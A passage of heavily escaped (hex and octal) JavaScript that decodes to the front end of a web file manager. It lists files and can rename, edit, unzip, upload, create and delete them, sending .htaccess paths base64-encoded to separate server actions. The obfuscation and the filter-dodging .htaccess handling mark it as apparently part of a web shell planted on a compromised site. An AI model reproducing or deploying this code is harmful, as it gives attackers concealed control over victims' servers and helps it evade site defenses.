x62\56\156\141\x6d\x65\x29\40\x3a\40\50\x61\x2e\151\x73\x5f\x64\151\162\x20\77\40\55\61\40\72\x20\x31\51\51\x3b\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\162\x65\163\165\154\x74\56\x66\151\x6c\x65\163\x2e\146\x6f\x72\x45\x61\143\x68\50\146\x69\154\145\x20\75\x3e\x20\x7b\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x63\157\156\x73\164\40\163\x69\172\x65\40\x3d\40\x66\x69\x6c\x65\x2e\x69\163\137\x64\151\x72\40\77\x20\x27\55\47\x20\x3a\40\50\x66\151\x6c\x65\56\163\x69\x7a\x65\x20\57\40\x31\60\62\x34\x29\x2e\164\157\106\151\170\x65\144\50\x32\x29\40\53\40\47\x20\113\102\47\x3b\x20\143\x6f\156\x73\x74\40\155\157\144\151\146\x69\145\x64\40\x3d\x20\156\145\x77\40\x44\141\164\x65\50\x66\x69\x6c\145\x2e\x6d\x6f\144\151\x66\151\145\144\40\x2a\x20\x31\60\60\60\51\x2e\164\157\x4c\157\x63\141\154\x65\123\164\162\151\156\147\x28\x29\x3b\12\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\164\x20\x69\x63\157\156\x20\75\40\146\151\x6c\145\56\x69\163\x5f\x64\151\162\40\77\x20\47\303\203\302\260\xc3\x82\302\237\303\202\xc2\223\303\x82\xc2\201\x27\x20\x3a\x20\47\303\x83\302\xb0\xc3\x82\xc2\237\xc3\202\302\223\303\x82\302\x84\x27\x3b\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\164\40\x66\165\154\154\120\x61\x74\x68\40\x3d\40\x60\x24\x7b\123\124\101\x54\x45\56\x63\165\162\x72\x65\156\164\x50\141\x74\x68\175\57\44\x7b\146\x69\154\145\x2e\x6e\x61\x6d\145\175\140\x2e\x72\x65\160\x6c\141\x63\145\x28\57\x5c\57\53\x2f\147\x2c\x20\x27\57\47\51\x3b\x20\143\157\x6e\163\164\40\x64\141\x74\x61\x41\x74\164\x72\40\75\40\x60\144\141\x74\x61\55\160\x61\164\150\75\x22\44\173\146\x75\x6c\x6c\x50\141\164\x68\x7d\42\140\x3b\40\x63\157\156\x73\x74\x20\x72\x6f\x77\x44\x61\x74\x61\x20\75\x20\146\x69\154\145\56\x69\163\137\x64\151\162\40\77\x20\140\143\154\x61\x73\x73\75\42\144\151\x72\55\154\x69\x6e\x6b\x22\x20\x24\173\144\141\164\x61\x41\x74\164\x72\175\140\x20\72\40\47\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\150\164\x6d\x6c\40\53\75\40\x60\x3c\164\x72\x20\44\x7b\162\x6f\x77\104\141\164\x61\175\x3e\74\x74\144\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x63\150\145\143\x6b\142\x6f\x78\x22\40\143\154\141\x73\163\x3d\42\x69\x74\x65\x6d\55\163\145\154\145\x63\x74\42\x20\166\x61\x6c\x75\x65\75\x22\44\x7b\146\151\x6c\x65\x2e\x6e\x61\x6d\145\175\x22\76\74\x2f\x74\x64\76\74\x74\x64\76\x3c\141\x20\150\x72\x65\146\75\42\x23\42\x20\143\154\141\x73\x73\x3d\42\151\164\145\155\x2d\154\151\156\153\x22\x20\44\173\144\x61\164\x61\101\164\164\x72\175\76\x24\x7b\151\x63\157\x6e\x7d\40\44\173\x66\151\154\x65\x2e\156\141\155\x65\175\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\76\74\164\144\x3e\44\173\x6d\157\144\x69\x66\151\x65\x64\175\74\57\x74\144\76\x3c\x74\x64\x3e\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\42\x61\143\x74\151\x6f\x6e\x73\42\76\44\x7b\x21\x66\151\154\145\x2e\151\x73\137\x64\x69\162\x20\77\40\140\x3c\x62\x75\164\x74\157\x6e\40\x63\x6c\141\163\x73\x3d\x22\142\x75\x74\164\x6f\156\x20\145\144\x69\x74\55\x62\164\x6e\42\x20\x24\x7b\x64\x61\x74\141\101\164\164\x72\175\x3e\105\144\x69\x74\x3c\x2f\142\165\x74\164\x6f\x6e\76\x60\40\x3a\x20\47\x27\x7d\74\x62\x75\164\164\x6f\156\x20\x63\154\x61\x73\x73\75\42\x62\165\164\x74\157\156\40\x72\145\x6e\141\155\x65\x2d\142\164\x6e\42\x20\144\x61\x74\141\55\x6e\x61\x6d\x65\75\x22\44\x7b\146\x69\154\145\56\156\x61\x6d\x65\175\x22\x3e\122\145\156\x61\x6d\x65\74\x2f\x62\x75\x74\164\x6f\x6e\76\x24\173\x66\x69\154\x65\56\156\141\x6d\x65\56\x65\x6e\144\163\x57\x69\x74\x68\50\x27\56\172\x69\160\47\x29\x20\77\40\140\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\142\165\164\164\157\x6e\x20\x75\x6e\x7a\151\160\55\x62\x74\156\x22\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x3e\125\156\x7a\151\x70\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x60\72\x27\x27\40\175\x3c\57\x64\x69\166\x3e\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\x60\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\175\x29\x3b\12\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\144\157\x6d\56\146\151\x6c\x65\114\151\163\164\56\x69\156\156\x65\162\110\x54\x4d\x4c\40\x3d\40\150\x74\155\154\73\40\x64\x6f\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\143\x68\145\143\153\x65\144\40\x3d\x20\x66\141\154\x73\x65\73\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\175\51\73\12\40\40\40\x20\x20\40\40\x20\x7d\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\40\x20\40\40\x20\x64\157\x6d\x2e\x66\x69\x6c\145\x4c\x69\163\x74\56\141\x64\x64\105\166\145\156\164\114\x69\163\164\x65\156\x65\x72\x28\x27\143\x6c\x69\x63\x6b\47\x2c\40\x65\x20\75\x3e\x20\173\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x69\146\40\50\x65\56\x74\141\x72\147\145\x74\x2e\x6d\141\164\x63\x68\145\163\x28\47\56\x69\164\145\155\55\163\145\154\x65\143\164\47\x29\51\40\173\x20\x72\145\x74\x75\x72\156\x3b\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\x62\x75\x74\164\157\x6e\40\x3d\x20\x65\56\x74\141\162\x67\x65\164\56\x63\x6c\157\163\x65\x73\164\x28\x27\142\165\x74\x74\157\x6e\47\51\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\40\40\x69\x66\40\x28\x62\x75\x74\164\157\x6e\51\x20\173\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x65\56\x70\x72\x65\166\x65\156\164\104\x65\146\x61\x75\154\x74\x28\x29\73\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\x66\40\50\142\165\164\x74\157\x6e\56\155\x61\164\143\150\145\163\x28\x27\x2e\x72\x65\x6e\x61\155\145\55\x62\x74\156\x27\x29\x29\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\143\157\x6e\x73\164\40\x6f\154\144\116\141\155\x65\x20\x3d\40\142\x75\x74\x74\157\x6e\x2e\x64\x61\164\141\163\x65\x74\x2e\156\141\x6d\x65\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\156\x65\167\116\x61\x6d\x65\x20\75\x20\x70\162\x6f\155\160\164\50\x27\x45\156\164\x65\162\x20\156\x65\x77\x20\156\141\x6d\x65\72\47\54\x20\157\154\x64\x4e\141\155\145\51\73\12\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\50\156\145\x77\116\x61\155\x65\x20\46\46\x20\156\x65\167\x4e\x61\x6d\x65\40\41\75\x3d\40\157\x6c\144\116\141\155\145\x29\40\x7b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\x73\x74\40\146\144\40\x3d\40\156\x65\x77\x20\x46\157\162\155\104\141\164\141\x28\x29\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\56\141\160\x70\x65\x6e\144\x28\x27\160\x61\x74\x68\47\54\x20\x53\x54\x41\124\x45\x2e\143\x75\162\x72\145\x6e\x74\120\x61\x74\150\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x6c\x65\x74\40\x61\143\164\151\157\x6e\40\x3d\x20\47\x72\145\x6e\x61\155\x65\47\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x69\146\40\x28\157\x6c\x64\116\x61\155\x65\56\151\156\x63\x6c\165\144\145\163\x28\x27\56\150\x74\x61\143\143\x65\163\x73\47\x29\x20\x7c\x7c\x20\x6e\x65\167\116\x61\x6d\x65\x2e\x69\x6e\143\x6c\x75\x64\145\163\50\47\56\x68\x74\x61\143\143\145\163\x73\x27\51\51\40\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\141\x63\x74\x69\157\x6e\x20\x3d\40\47\x72\x65\x6e\141\155\145\137\x62\x36\64\x27\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\146\x64\x2e\141\160\x70\145\156\x64\50\47\157\154\x64\137\156\x61\155\145\137\x62\66\64\x27\54\40\x62\164\x6f\141\x28\157\154\144\116\x61\x6d\x65\x29\51\x3b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\146\144\56\x61\160\x70\x65\156\x64\x28\x27\156\x65\x77\x5f\x6e\141\x6d\145\x5f\142\x36\64\x27\x2c\40\142\x74\157\141\x28\x6e\x65\167\116\141\x6d\x65\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\175\40\x65\x6c\x73\x65\40\173\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\146\x64\56\x61\x70\x70\x65\156\x64\50\47\x6f\x6c\x64\137\156\x61\155\x65\x27\x2c\x20\157\154\x64\x4e\141\x6d\145\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x66\x64\x2e\x61\x70\x70\x65\x6e\144\x28\47\x6e\145\x77\x5f\156\141\x6d\145\x27\x2c\x20\156\145\167\x4e\x61\x6d\x65\x29\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x61\160\151\x43\x61\x6c\x6c\50\x61\143\164\151\x6f\156\54\x20\x66\x64\51\56\x74\x68\x65\x6e\50\162\145\x6e\x64\145\x72\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\175\x20\12\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x65\x6c\x73\145\40\x69\x66\40\50\x62\165\x74\x74\157\156\56\155\141\164\143\x68\145\x73\x28\47\56\x75\156\x7a\x69\160\55\x62\164\x6e\47\51\x29\x20\x7b\40\x69\x66\40\x28\143\157\156\x66\x69\x72\x6d\x28\47\101\x72\x65\40\x79\x6f\x75\x20\x73\165\162\145\40\x79\157\x75\x20\167\x61\x6e\164\40\164\157\40\x65\x78\x74\162\141\x63\x74\x20\164\150\151\163\x20\x61\162\143\x68\151\166\145\77\x27\x29\51\x20\173\x20\x63\x6f\156\x73\164\40\x66\144\40\75\40\156\145\x77\40\106\157\162\x6d\x44\141\164\x61\x28\51\x3b\x20\146\x64\x2e\x61\x70\160\x65\156\x64\50\x27\x70\141\x74\x68\x27\54\x20\x62\165\164\x74\x6f\156\x2e\x64\x61\164\141\163\145\x74\x2e\x70\x61\164\x68\x29\x3b\40\x61\x70\151\103\141\154\x6c\50\47\165\156\x7a\151\x70\x27\x2c\x20\146\144\54\x20\164\x72\165\145\51\x2e\164\x68\x65\156\x28\162\x65\156\144\145\x72\51\73\x20\x7d\x20\175\x20\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\145\x6c\x73\x65\x20\151\x66\40\50\142\165\x74\x74\x6f\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x65\144\151\164\55\x62\x74\x6e\47\51\x29\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x63\x6f\156\163\x74\x20\160\141\x74\150\40\x3d\x20\142\165\x74\x74\157\x6e\56\144\141\x74\141\x73\145\x74\x2e\160\x61\x74\150\x3b\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x66\144\x20\75\x20\156\x65\167\x20\x46\157\162\x6d\104\141\x74\x61\50\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\154\x65\x74\x20\x61\x63\164\151\x6f\156\40\x3d\x20\x27\x67\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x27\x3b\12\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x69\x66\x20\x28\160\x61\x74\150\x2e\x69\156\x63\x6c\x75\144\x65\163\x28\47\x2e\x68\164\x61\x63\143\145\x73\x73\47\x29\x29\40\x7b\12\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\141\143\x74\x69\x6f\156\x20\x3d\x20\47\x67\145\164\x5f\143\157\156\x74\x65\156\x74\137\x62\66\x34\47\73\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\146\x64\x2e\141\x70\x70\x65\156\144\x28\x27\160\x61\x74\150\x5f\x62\66\x34\47\x2c\x20\142\164\157\x61\x28\x70\141\164\x68\51\51\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x66\x64\x2e\141\160\160\x65\156\144\x28\x27\160\x61\164\x68\47\54\x20\x70\141\x74\150\51\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\141\x70\x69\103\x61\x6c\x6c\50\141\x63\x74\151\157\156\54\x20\x66\144\x29\x2e\x74\x68\x65\156\50\x72\x65\x73\x75\154\164\40\x3d\76\40\x7b\12\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\151\x66\x28\162\x65\x73\x75\154\x74\51\40\x7b\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\144\x6f\155\x2e\x65\x64\151\164\157\x72\x46\x69\x6c\x65\x6e\141\x6d\145\x2e\x74\x65\x78\x74\x43\157\x6e\164\x65\156\x74\40\75\40\x70\141\x74\150\73\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x64\157\155\56\145\x64\x69\164\157\x72\56\166\x61\x6c\165\x65\x20\75\x20\141\164\x6f\x62\50\x61\164\157\x62\50\x72\145\x73\x75\x6c\x74\56\143\x6f\x6e\x74\x65\x6e\164\51\x29\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\155\x2e\145\x64\x69\x74\x6f\162\x4d\x6f\x64\141\154\56\x73\164\x79\x6c\x65\x2e\144\x69\x73\x70\154\x61\x79\40\x3d\x20\x27\x66\154\x65\170\47\73\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\175\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\162\x65\x74\165\x72\156\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x63\x6f\x6e\163\x74\x20\x6e\x61\x76\124\141\x72\147\x65\x74\x20\75\40\x65\x2e\x74\141\x72\x67\145\164\56\143\x6c\x6f\x73\x65\163\x74\50\x27\x5b\144\141\x74\141\55\x70\141\164\x68\135\x27\x29\73\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\x66\x20\x28\x6e\x61\166\124\141\162\147\145\x74\51\40\173\40\145\56\x70\x72\x65\x76\145\156\x74\104\x65\146\141\165\x6c\x74\x28\51\x3b\x20\x53\124\101\x54\x45\56\x63\x75\x72\x72\x65\x6e\164\x50\x61\x74\150\x20\x3d\x20\156\x61\166\x54\x61\162\x67\145\164\x2e\144\x61\164\141\x73\145\164\56\x70\x61\164\x68\73\40\162\x65\156\x64\x65\162\x28\51\x3b\40\175\xa\40\x20\x20\40\x20\x20\x20\40\x7d\51\x3b\xa\40\x20\x20\x20\40\x20\x20\40\xa\x20\40\40\40\40\x20\40\40\x64\157\x6d\56\156\x65\x77\x46\157\154\144\x65\162\x42\x74\156\56\141\x64\x64\105\x76\145\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\50\47\143\154\151\143\153\x27\x2c\x20\50\x29\40\75\x3e\x20\173\x20\x63\x6f\x6e\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\160\x72\157\155\x70\x74\50\47\x45\x6e\164\145\162\x20\x6e\x65\x77\x20\146\x6f\154\x64\x65\x72\x20\156\x61\x6d\x65\x3a\x27\51\x3b\x20\151\x66\x20\50\x6e\x61\x6d\145\51\40\x7b\40\143\157\x6e\x73\164\x20\146\x64\x20\75\x20\x6e\145\x77\x20\106\x6f\x72\x6d\x44\141\x74\x61\50\51\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\x2c\40\123\124\101\x54\105\x2e\x63\x75\162\x72\x65\156\164\x50\141\164\150\51\x3b\x20\x66\144\56\x61\x70\x70\x65\x6e\144\x28\x27\156\141\155\145\x27\54\x20\x6e\x61\x6d\145\x29\73\40\141\x70\x69\x43\141\154\x6c\x28\47\143\162\x65\x61\x74\x65\x5f\x66\157\154\144\x65\x72\x27\54\40\146\144\51\x2e\164\x68\x65\x6e\x28\x72\145\x6e\144\x65\162\51\73\40\x7d\x20\175\x29\73\12\40\x20\x20\x20\x20\x20\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\151\x6c\x65\x42\x74\x6e\x2e\141\x64\x64\x45\x76\145\156\164\114\x69\x73\164\145\156\x65\162\50\x27\143\x6c\x69\143\x6b\x27\54\x20\x28\x29\x20\75\x3e\40\173\x20\x63\157\156\163\164\x20\156\x61\x6d\145\x20\75\40\x70\162\x6f\155\160\164\x28\x27\105\156\164\x65\x72\x20\156\x65\167\x20\146\151\154\145\40\x6e\x61\x6d\x65\72\47\x29\x3b\x20\x69\146\40\50\156\141\x6d\145\51\40\x7b\40\x63\157\156\163\x74\40\x66\x64\40\75\x20\156\145\167\40\x46\157\x72\155\x44\141\x74\x61\x28\51\x3b\x20\x66\x64\56\x61\160\160\145\156\144\x28\47\160\141\164\x68\x27\54\40\123\x54\x41\x54\x45\56\143\x75\162\162\x65\156\164\x50\x61\x74\150\51\x3b\40\x66\x64\x2e\x61\160\160\x65\156\144\x28\x27\156\x61\x6d\145\47\x2c\x20\x6e\141\x6d\145\x29\x3b\40\x61\x70\151\103\x61\154\x6c\50\x27\x63\162\x65\141\164\x65\x5f\146\151\154\145\47\x2c\x20\x66\x64\51\x2e\x74\150\145\x6e\x28\162\x65\x6e\x64\145\x72\51\x3b\40\x7d\x20\x7d\x29\73\12\x20\x20\x20\x20\40\40\40\40\144\157\155\56\163\145\154\145\143\x74\x41\x6c\x6c\x2e\141\144\x64\105\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\162\50\47\x63\x68\x61\156\147\145\x27\x2c\40\145\x20\x3d\76\40\x64\157\143\165\x6d\x65\x6e\x74\x2e\x71\165\x65\162\x79\123\x65\x6c\x65\143\164\157\x72\101\x6c\x6c\x28\x27\56\x69\164\x65\x6d\55\163\145\x6c\x65\143\x74\x27\x29\56\146\x6f\162\x45\141\x63\x68\50\x63\142\40\x3d\76\40\x63\142\56\143\x68\x65\143\x6b\x65\x64\x20\75\40\145\56\164\141\x72\147\x65\164\56\143\x68\x65\x63\x6b\145\x64\51\x29\73\12\x20\x20\40\40\40\40\40\x20\12\40\40\40\40\x20\x20\x20\x20\144\157\155\56\144\x65\154\x65\x74\x65\x42\164\156\x2e\x61\x64\144\x45\x76\145\156\164\x4c\x69\x73\x74\x65\x6e\145\x72\50\47\143\154\151\143\153\47\x2c\x20\x28\x29\x20\75\76\40\173\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\143\x6f\x6e\163\164\x20\163\x65\154\145\143\164\x65\144\40\75\40\x41\162\x72\x61\171\56\146\162\157\x6d\x28\144\x6f\143\x75\x6d\145\156\x74\x2e\x71\165\145\x72\171\x53\145\154\x65\x63\164\x6f\x72\x41\154\154\50\47\x2e\x69\164\145\155\x2d\163\145\x6c\x65\143\164\72\143\x68\x65\143\153\x65\x64\x27\51\51\x2e\155\141\160\x28\143\x62\x20\x3d\76\x20\143\142\x2e\166\141\x6c\x75\145\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\163\145\154\145\143\164\x65\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\75\x3d\40\60\51\40\162\145\x74\x75\162\156\x20\x61\x6c\145\x72\x74\50\x27\x4e\157\40\x69\164\x65\155\163\40\163\x65\x6c\145\x63\x74\145\x64\56\x27\x29\73\xa\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\151\x66\40\50\x63\x6f\x6e\x66\151\x72\x6d\x28\140\101\x72\145\40\x79\157\x75\40\163\x75\x72\145\x20\x79\x6f\165\40\167\141\x6e\x74\x20\x74\x6f\x20\x64\145\154\145\164\145\x20\44\x7b\x73\145\x6c\x65\x63\164\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\x7d\x20\151\x74\145\155\50\163\51\77\x60\x29\x29\40\173\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\40\x66\144\x20\75\x20\156\x65\167\40\x46\x6f\x72\155\104\141\x74\141\x28\51\x3b\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x66\x64\56\141\160\160\145\x6e\144\x28\x27\x70\x61\164\150\47\x2c\x20\x53\x54\101\124\105\56\143\x75\162\x72\145\156\164\120\x61\x74\x68\x29\73\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\143\157\156\163\164\x20\151\163\x53\x65\156\x73\151\x74\x69\x76\145\x20\x3d\40\x73\x65\x6c\145\143\164\x65\144\x2e\163\157\x6d\145\50\151\x74\145\155\x20\75\76\x20\151\x74\145\x6d\x2e\x69\x6e\143\154\x75\144\145\163\x28\47\x2e\x68\x74\x61\143\143\x65\163\163\47\51\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\154\145\164\40\141\x63\164\151\157\x6e\x20\x3d\40\x27\144\x65\x6c\145\164\x65\47\73\12\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\151\146\40\50\151\x73\x53\145\x6e\163\151\x74\151\166\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x61\x63\164\x69\x6f\156\x20\x3d\x20\47\144\145\x6c\x65\x74\145\x5f\142\x36\64\x27\x3b\12\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\163\145\x6c\x65\143\164\145\144\x2e\146\157\162\105\x61\x63\x68\x28\151\x74\145\155\40\75\x3e\40\x66\x64\56\141\160\x70\x65\156\144\50\47\x69\x74\x65\x6d\163\137\x62\66\64\133\135\47\54\40\142\x74\157\141\x28\x69\x74\145\155\x29\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\175\40\145\154\163\x65\40\173\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x73\145\154\145\143\164\x65\x64\x2e\146\157\x72\105\x61\143\150\50\151\x74\x65\155\40\75\x3e\40\x66\x64\56\141\x70\160\x65\156\144\x28\47\151\x74\x65\155\163\x5b\135\x27\54\40\151\164\145\x6d\x29\51\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x7d\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x61\160\151\103\141\154\x6c\50\x61\143\x74\151\x6f\x6e\54\40\x66\x64\51\x2e\164\x68\145\156\50\x72\145\156\144\145\x72\51\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\144\x6f\x6d\x2e\x75\160\154\157\x61\x64\x42\164\x6e\56\141\144\144\x45\x76\145\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\x27\143\154\151\143\153\47\x2c\x20\50\51\x20\75\x3e\x20\144\x6f\x6d\x2e\x68\151\144\x64\x65\156\106\151\x6c\x65\x49\156\x70\165\x74\x2e\x63\154\x69\x63\x6b\50\51\51\73\12\x20\40\x20\x20\x20\40\40\x20\x64\157\x6d\x2e\150\x69\x64\144\x65\x6e\106\151\154\145\111\x6e\160\x75\164\56\x61\144\x64\x45\166\x65\x6e\x74\114\x69\163\x74\145\156\145\162\50\47\143\x68\x61\156\147\145\47\x2c\40\141\163\171\x6e\x63\40\50\145\x29\40\75\x3e\40\x7b\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\145\x73\40\x3d\40\x41\x72\x72\141\171\x2e\146\162\157\x6d\50\x65\56\164\x61\x72\147\145\164\x2e\146\151\x6c\145\163\x29\73\x20\151\x66\x20\50\x66\x69\154\x65\x73\x2e\x6c\145\x6e\x67\164\150\40\x3d\x3d\75\40\x30\51\x20\x72\145\x74\165\162\x6e\73\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\146\x6f\162\40\x28\x63\x6f\x6e\163\164\x20\x66\151\x6c\x65\x20\157\x66\40\x66\151\x6c\145\x73\x29\x20\173\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\151\146\x20\x28\146\151\154\x65\x2e\x73\x69\x7a\x65\x20\76\40\x55\120\x4c\x4f\x41\x44\137\114\111\x4d\111\x54\137\115\x42\x20\x2a\40\61\x30\x32\64\x20\x2a\40\61\x30\x32\64\x29\40\173\40\x61\154\145\162\164\50\140\x45\162\162\x6f\162\x3a\40\x46\151\x6c\145\x20\42\x24\173\x66\x69\x6c\x65\56\x6e\x61\155\145\x7d\42\x20\151\x73\40\164\x6f\157\40\x6c\141\x72\x67\x65\x20\50\115\141\170\x3a\x20\44\x7b\125\x50\114\117\101\104\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\x4d\102\51\x2e\x60\x29\x3b\40\x63\157\156\164\x69\156\x75\x65\73\x20\x7d\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\143\x6f\x6e\163\164\x20\162\145\141\144\x65\162\40\x3d\40\156\145\167\x20\x46\151\154\145\x52\145\141\144\x65\x72\x28\x29\73\12\40\40\40\x